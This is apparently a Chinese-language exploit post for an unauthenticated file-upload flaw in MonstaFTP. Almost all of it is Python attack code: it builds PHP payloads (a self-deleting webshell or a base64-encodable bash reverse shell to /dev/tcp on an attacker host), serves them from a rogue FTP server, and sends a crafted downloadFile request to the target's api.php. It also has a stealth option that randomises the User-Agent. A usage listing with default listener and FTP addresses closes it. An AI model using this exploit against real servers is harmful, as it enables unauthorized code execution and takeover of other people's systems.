MonstaFTP 未授权文件上传漏洞利用

1

/application/api/api.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

import argparse
import base64
import json
import os
import random
import requests
import socket
import string
import sys
import tempfile
import threading
import time
import urllib3
from pwn import remote
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

def generate_payload(lhost, lport, mode, encode=False):
    random_cmd = ''.join(random.choices(string.ascii_letters, k=6))
    
    if mode == "webshell":
        payload = f"<?php if(isset($_GET['{random_cmd}'])) {{system($_GET['{random_cmd}']);}} unlink(__FILE__); ?>"
    else:
        shell_cmd = f"/bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1 &'"
        if encode:
            encoded = base64.b64encode(shell_cmd.encode()).decode()
            payload = f"<?php $f=__FILE__; exec(base64_decode('{encoded}')); unlink($f); ?>"
        else:
            payload = f"<?php $f=__FILE__; exec(\"{shell_cmd}\"); unlink($f); ?>"
    
    return payload, random_cmd

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

def start_ftp_server(host, port, lhost, lport, mode, encode):
    ftp_dir = tempfile.mkdtemp()
    random_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=12)) + '.php'
    payload_file = os.path.join(ftp_dir, random_filename)
    
    payload, cmd_param = generate_payload(lhost, lport, mode, encode)
    
    with open(payload_file, 'wb') as f:
        f.write(payload.encode())
    
    user = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
    pwd = ''.join(random.choices(string.ascii_letters + string.digits, k=12))
    
    authorizer = DummyAuthorizer()
    authorizer.add_user(user, pwd, ftp_dir, perm="elradfmw")
    
    ExploitFTPHandler.authorizer = authorizer
    server = FTPServer((host, port), ExploitFTPHandler)
    server.max_connections = 256
    
    return server, ftp_dir, f"/{random_filename}", user, pwd, cmd_param

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

def exploit(target, host, port, lhost, lport, mode, stealth, encode):
    # ... 设置监听器线程 ...
    
    api_url = f"{target.rstrip('/')}/application/api/api.php"
    request_data = {
        "connectionType": "ftp",
        "configuration": {
            "host": host,
            "username": user,
            "initialDirectory": "/",
            "password": pwd,
            "port": port
        },
        "actionName": "downloadFile",
        "context": {
            "remotePath": remote,
            "localPath": local
        }
    }
    
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": random.choice(USER_AGENTS) if stealth else "python-requests"
    }
    
    # 发送利用请求
    response = requests.post(
        api_url,
        data={"request": json.dumps(request_data)},
        headers=headers,
        timeout=30,
        verify=False
    )

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

usage: exploit.py [-h] [--host HOST] [--port PORT] [--lhost LHOST] [--lport LPORT]
                  [--mode {reverse,webshell}] [--stealth] [--encode]
                  target

positional arguments:
  target                目标URL

optional arguments:
  -h, --help            显示帮助信息
  --host HOST           FTP服务器主机（默认：172.17.0.1）
  --port PORT           FTP服务器端口（默认：2121）
  --lhost LHOST         监听器主机（默认：172.17.0.1）
  --lport LPORT         监听器端口（默认：4444）
  --mode {reverse,webshell} 攻击模式（默认：reverse）
  --stealth             启用隐蔽模式
  --encode              Base64编码payload